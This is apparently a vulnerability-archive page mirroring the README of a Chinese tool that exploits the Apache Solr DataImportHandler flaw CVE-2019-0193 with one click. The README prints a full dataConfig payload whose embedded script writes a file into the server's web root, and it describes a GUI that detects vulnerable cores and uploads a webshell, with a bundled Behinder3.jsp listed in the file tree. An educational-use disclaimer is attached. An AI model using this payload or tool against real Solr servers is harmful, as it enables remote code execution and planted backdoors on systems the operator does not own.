Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-0193 PoC — Apache Solr 代码注入漏洞

Source
Associated Vulnerability
Title:Apache Solr 代码注入漏洞 (CVE-2019-0193)
Description:In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.
Description
ApacheSolrRCE(CVE-2019-0193)一键写shell,原理是通过代码执行的java文件流写的马。
Readme
# 项目声明
只用于信息安全教学交流,请勿用于非法测试和攻击。

# ApacheSolrRCE
ApacheSolrRCE(CVE-2019-0193)一键写shell,原理是通过代码执行的java文件流写的马。

注:作者本人比较菜,如果你有bug或者有别的需求,请自行下载代码修改。


# 工具说明
由于互联网上流传的payload都是命令执行,且不方便上webshell,因此写了这段payload(回显123456时,代表写入成功)。

注:工具只能辅助测试,如果工具写不进去,建议手写。

```
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
  <script><![CDATA[
          function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>
```
# 工具用法

<img src="https://github.com/jdr2021/ApacheSolrRCE/blob/master/1663056645344.jpg">

先点检测,获得core,并且判断有没有漏洞。

在点击getshell即可。

注:将你的webshell,放在shell目录下,工具会自动加载你的webshell至下拉列表中。

<img src="https://github.com/jdr2021/ApacheSolrRCE/blob/master/1663056948552.jpg">

默认代理是http代理,端口是8080,代码里面写死了的,需要的自己编译修改即可。

<img src="https://github.com/jdr2021/ApacheSolrRCE/blob/master/1663057045317.jpg">


# 特别感谢

[solr_exploit](https://github.com/1135/solr_exploit)
File Snapshot

[4.0K] /data/pocs/e46b210bb63d9272b326a760bf335253fe0905b4 ├── [ 26K] 1663056645344.jpg ├── [ 16K] 1663056948552.jpg ├── [ 23K] 1663057045317.jpg ├── [1.1K] pom.xml ├── [2.0K] README.md └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   ├── [4.0K] META-INF │   │   └── [ 57] MANIFEST.MF │   └── [4.0K] org │   └── [4.0K] example │   ├── [4.0K] exp │   │   └── [3.1K] CVE_2019_0193.java │   ├── [4.0K] main │   │   ├── [4.9K] mainController.java │   │   └── [ 820] main.java │   └── [4.0K] tools │   ├── [2.9K] HttpUtil.java │   └── [1.4K] Shell.java └── [4.0K] resources ├── [4.0K] org │   └── [4.0K] example │   └── [4.0K] main │   └── [3.5K] ui.fxml └── [4.0K] shell └── [ 533] Behinder3.jsp 14 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →